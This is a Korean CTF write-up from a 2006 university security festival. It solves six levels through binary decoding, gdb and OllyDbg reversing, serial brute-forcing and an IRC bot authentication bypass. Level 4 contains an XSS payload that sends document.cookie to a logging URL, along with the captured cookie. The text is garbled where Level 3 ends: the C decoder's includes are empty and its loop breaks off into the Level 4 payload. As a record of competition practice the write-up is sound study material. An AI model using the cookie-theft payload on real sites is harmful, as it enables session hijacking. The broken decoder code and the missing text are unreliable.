!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$ !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+ 2006 순천향대학교 정보보호 페스티벌 보고서 !@#$%^&*()_+ !@#$%^&*()_+ (2006 Youth's Information Security Festival) !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$ command> whoami -------------------------------------------------------- info -> name = 박찬암 info -> school = 남산고등학교 info -> id = hkpco info -> pw = ********* info -> face_quality = High info -> homepage = http://hkpco.kr/ -------------------------------------------------------- =========================================================================================================== 1----------------1 1 Level1 1 1----------------1 정보보호 문제 풀기 [ Level 1 ] - 현재 화면에 보이는 문제를 보고 4개의 보기중 하나를 선택하여 정답확인을 누릅니다. - 문제를 연속적으로 10문제를 모두 풀게 되면 다음 레벨 패스워드가 출력됩니다. - 문제를 맞추면 정답갯수가 1이 증가하나 틀리게 되면 하나 감소하게 됩니다. 이점 유의하시기 바랍니다. 작년대회때도 나왔듯이 컴퓨터에 관한 지식(쉽지만은 않은)을 묻는 문제입니다. 오고가는 요청을 가로채서 변수값만 조금 조작해 주면 됩니다. 검색과 가지고 있는 지식으로도 풀 수 있습니다. 2----------------2 2 Level2 2 2----------------2 Level2의 로컬서버로 접속하였습니다. -------------------------------------------------------------------------------------- [level2@localhost ~]$ ls -al drwxr-x--- 4 root level2 4096 6월 23 01:28 . drwxr-xr-x 7 root root 4096 6월 18 08:16 .. d--------- 2 root root 4096 6월 22 10:04 .bash_history -rw-r--r-- 1 level2 level2 304 6월 18 06:27 .bash_logout -rw-r--r-- 1 level2 level2 195 6월 22 08:57 .bash_profile -rw-r--r-- 1 level2 level2 124 6월 18 06:27 .bashrc -rwxr-sr-x 1 root level3 5735 6월 23 01:28 level2 dr-xr-x--- 2 root level3 4096 6월 22 08:40 tmp [level2@localhost ~]$ ./level2 011110001101110110000101111101101010111110011101010111110110101011 01100110001101111101101010111010010110101011000111010010011010111110 11000100100001010001100000010111111011111010000110111111011111010111 10111110010110101101001011111011010101101101011111010110001010100110 00101110001011111011010101110100101101010110001110100100110101111101 10001001000010100011000000 Input : hkpco ======================================================= Not ... Sorry... Hint !!! 0 과 1을 조합하면 뭔가 나오지 않을까요? !!!====================================================== -------------------------------------------------------------------------------------- 2진수들을 아스키코드로 바꾼 뒤, 문자열로 출력해 보겠습니다. 제 프로그램에 맞게 각각의 16진수 사이에 임의의 구분문자열 `%`를 넣은 뒤 문자열을 추출해 보았습니다. %3C%37%30%5f%35%3e%3a%5f%35%36%31%5f%35%3A%2D%2C%3A%26%5F%31%10%51%40...........생략 [hkpco@ns hkpco]$ hk %3C%37%30%5f%35%3e%3a%5f%35%36%31%5f%35%3A%2D%2C%3A%26%5F%31%10 %51%40%5F%5F%21%5F%5F%2F%3E%2D%34%5F%35%36......(생략) "%" <70_5>:_561_5:-,:&_1Q@__!__/>-4_56_,*18_5:-,:&_1 ctrl+p Q@ 무엇일까요..? 추출한 문자열을 입력도 해 보고 유추도 해 보았지만 허무한(?)노력 이었습니다. gdb를 이용하여 cmpl구문을 보게되면 0x3547667b와 비교하게 되어 있는데, 그 부분만 통과하면 다음 레벨로 진입 할 수 있습니다. (이문제의 로깅이 미약합니다.) 0x08048468 : cmpl $0x3547667b,0xfffffffc(%ebp) 문서상에선 보여드리지 못하지만, gdb로 보았을때의 %d directive를 이용하여 ebp-4에 값을 입력받았습니다. 0x3547667b을 십진수로 바꾸어 프로그램input에 주면 되겠습니다. { 0x3547667b <-> 893871739 } [level2@localhost ~]$ ./level2 011110001101110110000101111101101010111110011101010111110110101011 01100110001101111101101010111010010110101011000111010010011010111110 11000100100001010001100000010111111011111010000110111111011111010111 10111110010110101101001011111011010101101101011111010110001010100110 00101110001011111011010101110100101101010110001110100100110101111101 10001001000010100011000000 Input : 893871739 ======================================================= Next Level3 Passwd : Information Security!! [수고 하셨습니다. 인증후 Level3문제를 풀어 주시기 바랍니다.] ====================================================== 성공~, 3----------------3 3 Level3 3 3----------------3 http://210.178.154.22/level3.html 레벨3 문제 입니다. 어느날 홍모씨의 아들 홍모군은 심플한 패스워드 변환 프로그램을 만들었습니다. 이 패스워드 level3.exe 프로그램을 통해 자신의 패스워드를 변환 시켰더니 다음과 같은 스트링이 출력 되었네요.. ?? 이것은 무엇일까요??? Sqcfeffpk}IpW괺xd?갧?껱뛑둚 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 프로그램을 실행시킨 뒤 임의의 문자열을 입력하니 코더가 지정해 놓은 규칙대로 변환되어 나왔습니다. ollydbg로 그 루틴을 보았습니다. 004013CA |> B8 01000000 /MOV EAX,1 004013CF |. 85C0 |TEST EAX,EAX 004013D1 |. 0F84 82000000 |JE level3.00401459 004013D7 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 004013DD |. 81E1 01000080 |AND ECX,80000001 004013E3 |. 79 05 |JNS SHORT level3.004013EA 004013E5 |. 49 |DEC ECX 004013E6 |. 83C9 FE |OR ECX,FFFFFFFE 004013E9 |. 41 |INC ECX 004013EA |> 85C9 |TEST ECX,ECX 004013EC |. 74 21 |JE SHORT level3.0040140F 004013EE |. 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 004013F4 |. 0FBE82 EC36420>|MOVSX EAX,BYTE PTR DS:[EDX+4236EC] 004013FB |. 0385 B003FEFF |ADD EAX,DWORD PTR SS:[EBP+FFFE03B0] 00401401 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 00401407 |. 8881 EC364200 |MOV BYTE PTR DS:[ECX+4236EC],AL 0040140D |. EB 1F |JMP SHORT level3.0040142E 0040140F |> 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 00401415 |. 0FBE82 EC36420>|MOVSX EAX,BYTE PTR DS:[EDX+4236EC] 0040141C |. 2B85 B003FEFF |SUB EAX,DWORD PTR SS:[EBP+FFFE03B0] 00401422 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 00401428 |. 8881 EC364200 |MOV BYTE PTR DS:[ECX+4236EC],AL 0040142E |> 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 00401434 |. 83C2 01 |ADD EDX,1 00401437 |. 8995 B003FEFF |MOV DWORD PTR SS:[EBP+FFFE03B0],EDX 0040143D |. 68 EC364200 |PUSH level3.004236EC 00401442 |. E8 69030000 |CALL level3.004017B0 00401447 |. 83C4 04 |ADD ESP,4 0040144A |. 3985 B003FEFF |CMP DWORD PTR SS:[EBP+FFFE03B0],EAX 00401450 |. 75 02 |JNZ SHORT level3.00401454 00401452 |. EB 05 |JMP SHORT level3.00401459 00401454 |>^E9 71FFFFFF \JMP level3.004013CA 음..^^; 저기서 문자열이 변환되어 나오네요.. "해킹 <-> 삽질" 이라는 잘 알려진(?)생각..~을 적용시켜 문제를 풀어보겠습니다. aaaaaaaaaaaaaa문자열을 프로그램에 입력시킨 결과를 아래와 같이 보기쉽게 정리하였습니다. --------------------------------- | | | a a a a a a a a a a a a a a | -> a b _ d ] f [ h Y j W l U n <- | | --------------------------------- 변환된 각각의 문자들의 규칙은 무엇일까요? ascii number를 보니 아래와 같은 규칙이 나옵니다.. a , a+1 , a-2 , a+3 , a-4 , a+5 , a-6 , a-7 , a+8 , a-9 , a+10 , a-11 , a+12 , a-13 이건..~ 시험기간에 대회를 해서 그런지 간단한 수학적 규칙이 보입니다. n ∑ {(-1)^(n-1) * k} k=0 음음..^^; 위와같은 식에서 나온 1항,2항,3항ㆍㆍㆍ의 숫자들이 우리가 입력한 문자열의 첫번째,두번째,세번째ㆍㆍㆍascii number에 더해집니다. 간단한 코딩을 이용하여 문제에서 주어진 인코딩된 문자열을 복호화 시켜 보겠습니다. [hkpco@ns sch0]$ cat > sch_decoder.c #include #include #include #include #define CODE "Sqcfeffpk}IpWdxd?R?IOR" int main( void ) { char buf[128]={0x00,}; int i=0; strcpy( buf , CODE ); for( ; iwindow.open="http://210.178.154.21/level4/logs/hkpco_log?sfhacking=hkpco&cookie=" + document.cookie 새로고침을 해보니 로그가 추가되었습니다. + logs/hkpco_log를 액세스하는 웹로그 + 210.178.154.22 - - [23/Jun/2006:05:35:56 +0900] "GET /level4/logs/hkpco_log?sfhacking=hkpco&cookie=master=%21%21SelfDefense%21%21 HTTP/1.1" 200 - 답은 !!SelfDefense!! :-) 5----------------5 5 Level5 5 5----------------5 [level5@localhost ~]$ ./level5 Invalid Parameters Usage : /home/level5/level5 XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 이번 문제는 리눅스 디버깅입니다. 아래는 main의 disassemble결과중 일부를 표시한 것입니다. Dump of assembler code for function main: 0x0804840c : push %ebp 0x0804840d : mov %esp,%ebp 0x0804840f : sub $0x18,%esp 0x08048412 : and $0xfffffff0,%esp 0x08048415 : mov $0x0,%eax 0x0804841a : add $0xf,%eax 0x0804841d : add $0xf,%eax 0x08048420 : shr $0x4,%eax 0x08048423 : shl $0x4,%eax 0x08048426 : sub %eax,%esp 0x08048428 : sub $0x8,%esp 0x0804842b : pushl 0xc(%ebp) 0x0804842e : pushl 0x8(%ebp) 0x08048431 : call 0x80484d1 0x08048436 : add $0x10,%esp . . . 0x080484b2 : lea 0xfffffff8(%ebp),%eax 0x080484b5 : add %edx,(%eax) 0x080484b7 : cmpl $0xfa0,0xfffffff8(%ebp) 0x080484be : jne 0x80484c5 0x080484c0 : call 0x8048563 0x080484c5 : movl $0x0,0xfffffff4(%ebp) 0x080484cc : mov 0xfffffff4(%ebp),%eax 0x080484be : jne 0x80484c5 0x080484c0 : call 0x8048563 0x080484c5 : movl $0x0,0xfffffff4(%ebp) 0x080484cc : mov 0xfffffff4(%ebp),%eax 여기서 중요한 부분은 cmpl입니다. 0xfffffff8(%ebp)이곳과 비교한 값이 0xfa0이라면 callprog함수를 실행하여 다음 레벨의 권한으로 진입 할 수 있습니다. 아래는 callprog함수의 disassemble결과입니다. (gdb) disassemble callprog Dump of assembler code for function callprog: 0x08048563 : push %ebp 0x08048564 : mov %esp,%ebp 0x08048566 : sub $0x8,%esp 0x08048569 : sub $0x8,%esp 0x0804856c : push $0x1f9 0x08048571 : push $0x1f9 0x08048576 : call 0x8048334 0x0804857b : add $0x10,%esp 0x0804857e : sub $0xc,%esp 0x08048581 : push $0x80486ed 0x08048586 : call 0x8048314 0x0804858b : add $0x10,%esp 0x0804858e : leave 0x0804858f : ret End of assembler dump. 이제 우리가 할 일은 0xfffffff8(%ebp)( 이하, ebp-8 )의 값을 0xfa0으로 바꾸어 주기만 하면 됩니다. 이 값은 시리얼 값에 따라 바뀌는데 그 시리얼 규칙을 만족시키면 될 것입니다. 그부분의 루틴을 참조하여 시리얼 값을 입력하면 되겠지만, 여기선 몇번의 시도를 거치면 쉽게 맞출 수 있기 때문에 후자의 방법을 이용하여 풀이하여 보겠습니다. 시리얼 길이(43byte)에 맞추어 값을 바꾸어 가며 ebp-8값을 확인하며 0xfa0으로 조절합니다. 아래는 그 과정입니다. Program exited normally. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaaa-aaaaaaaaaa Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaaa-aaaaaaaaaa (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9d // 값 확인, fa0과 비슷.. 하지만 실패, so 다시 시도. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaaa The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaaa (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9e // 조금만 더... (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaab The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaab (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9f // 거의 다 됬다.. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac (no debugging symbols found) (gdb) x/x $ebp-8 0xbffffa40: 0x00000fa0 /* nice!, */ (gdb) quit [level5@localhost ~]$ ./level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac 축하합니다.!!! 패스워드는 "Nopain!Nogains!" 입니다. 성공입니다. level pass ^^; 6----------------6 6 Level6 6 6----------------6is last level. http://210.178.154.22/level6.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !!. 순천향대학교 정보보호학과 사람들이 이용하는 IRC 서버는 외부의 공개된 서버이므로 IRC 서버 자체에는 어떠한 행위도 금지. (IRC 서버에 포트 스캐닝을 한다던지.. 절대 x) !!. 대회 운영 홈페이지의 운영을 방해 혹은 로컬이나 DB에 접근하거나 접근하려는 시도 발견시 실격! 1. 순천향대학교 정보호호학과 학생들은 IRC를이용한다. (주로 잠수) 2. 어느날, 채널을 관리하기 위한 BOT을 만들었다. 3. BOT을 제어하려면 인증을 해야 한다. 4. 후배 강주영이는, 선배 홍영우에게 인증 방법을 들었다. 아래는 강주영이가 인 증을 위하여 작업하던 파일의 일부이다. (웹에서 찾아다 붙여넣으면 다 되는줄 알았단다..) connect( sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)); ip_url = "/ipaddr/kang.txt"; send( sockfdfd, ip_url, sizeof(ip_url), 0 ); recv( sockfd, rcv, BUFFSIZE, 0); if( rcv == "201" ) { printf("IP 일치"); } else if (rcv == "501") { printf("IP 다름"); exit(1); } recv( sockfd, rcv, BUFFSIZE, 0); to_md5 = md5(rcv + "securityfirst") send( sockfd, to_md5, sizeof(to_md5), 0 ); recv( sockfd, rcv, BUFFSIZE, 0); if( rcv == "202" ) { printf("MD5 일치"); } else if (rcv == "5022") { printf("MD5 전송 시간 초과"); exit(1); } else if (rcv == "502") { printf("MD5 다름"); exit(1); } irc_nick = "머프"; send( sockfd, irc_nick, sizeof(irc_nick), 0 ); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 드디어 마지막 문제입니다. 제가 마지막에 갑자기 머리가 안돌아가서(head error)역전을 당한 문제이기도 합니다. 우선 ip_check를 통과한 뒤, 그때 클라이언트로 전달되는 값과 securityfirst문자열을 md5로 암호화하여 제한시간내에 irc_nick과 함께 send하면 될 것입니다. 처음엔 raw_socket문제인줄 알았는데 천천히 생각해보니 ip인증이 통과하였을때의 이쪽으로 전송되는 값과, securityfirst문자열과의 조합을 이용하여 md5check를 통과해야하는 문제인데, rawsocket을 통하여 ip spoofing을 하게되면 recv를 받을 수가 없었습니다. 이 문제가 무엇을 의도하는지.. 그리고 어떻게 푸는지.. 한참 생각했습니다. 이전레벨까지는 머리가 잘 돌아가다가 왜갑자기 멍~ 해지는지..ㅜ.ㅜ 우선 우리가 통신할 아이피는 irc서버에 접속해 있는 bot의 아이피입니다. 그리고 포트번호도 공개되어있지 않고 스캔도 금지되어서 한참을 헤메었습니다. 나중엔 스캔을 해야되는 문제라 결국 포트가 공개되더군요 ^^~ 대회서버에있는 /ipaddr/kang.txt파일에 기재된 아이피는 ping이 가지 않는(아마도 현재 유효하지 않은..)아이피 같았습니다. bot서버로 저 파일을 계속 send하였는데 그 요청형식이 잘못되어 ipcheck가 실패한건가 하여 하루종일 매달렸습니다. 그러던 중 나중에 힌트가 떳습니다. 홈페이지(게시판)을 이용하라는 메시지와 함께.. ;-) 여기서도 한참 헤메었던 기억이 납니다.(마지막에 왜이러는지..^^;) 게시판을 이용하라는 문제는 게시판 업로드를 이용하여(.jpg등의 그림파일도 txt로 읽혔습니다.)문제를 푸는것인데, 그 파일안에는 자신의 아이피가 들어있어야 합니다. 그래서 botserver가 그 파일속 아이피와 저의 아이피를 비교한 뒤, 맞다면 201이 오게되고 ip_check를 우회 할 수 있는것입니다. 그림파일에 제가 작업하는 서버쪽 아이피를 넣고 업로드를 하였습니다. 경로는 /bbs/data/qna/file.jpg이며 그대로 요청하면 됩니다. 그다음 서버측에서 어떠한 숫자값이 날아오는데 초당 1씩 증가하는것과 값의양식을 보니 time함수를 이용하는것 같았습니다. 이부분을 recv하여 securityfirst문자열과 함께 md5로 인코딩한 뒤, irc_nick과함께 보냅니다. ** 작성한 코드가 있는데 날아가버렸네요.. 공중분해인것같습니다. 죄송합니다ㅜ.ㅜ 코드가 없는 관계로 다른 풀이를 하나 더 적자면, 제가 예전에 워게임을 할때 비슷한것 같은데, 1분~10분정도 넉넉하게 앞당겨(그 초만큼 plus) 그때의 time함수 결과값을 미리 securityfirst와 함께 md5로 인코딩 합니다. 그다음 무한루프로 계속 요청을 하다보면 우리 정해놓은 시간과 맞물릴 때에 모든 인증을 통과 할 수 있을것입니다. -> 이 풀이방법을 이용하지 않아서 로깅이 없습니다. 나중에 다시 풀어보려니 서버가 닫혀있어서..^^; 죄송합니다. 모든 인증을 통과 한 뒤, 이제 최종적으로 irc에 셋팅되어있는 문제bot을 이용해야 합니다. ------------------------------------------------------------------------------ | asdfasdf | | <정보보호BOT> "asdfasdf" 알 수 없는 명령어, "!도움" | | !도움 | | <정보보호BOT> '!공지 [할말]' - 봇을 통하여 공지사항을 말한다, | | '!패스워드' - 레벨 6의 패스워드를 알려준다!! | | <정보보호BOT> 인증에 성공하였습니다! 3분동안 인증상태가 지속됩니다. | | 다른 참가자들을 위해서 봇을 무리시키지는 마세요! | | !패스워드 | | | | <정보보호BOT> level6의 패스워드는 Practics makes Perfect!^! 입니다. | | <정보보호BOT> 수고하셨습니다 | ------------------------------------------------------------------------------ 모든 문제를 clear하였습니다. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Post Script -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 컴공을 안한지가 몇년?_?되어서 부족한 점이 많았네요.. 대회하기 전부터 대회기간 내내 문제를 내주시고 운영,관리 하신 모든 운영진 분들 정말 수고 많으셨습니다. 저는 그냥 편안히 문제만 푼것 같네요.. 재미있는 많은 문제 풀게되어 좋았습니다. :-) 시상식때 뵙겠습니다. 식당에서의 맛있는 음식..기대하겠습니다!, ㅎㅎ 그럼.. ^^;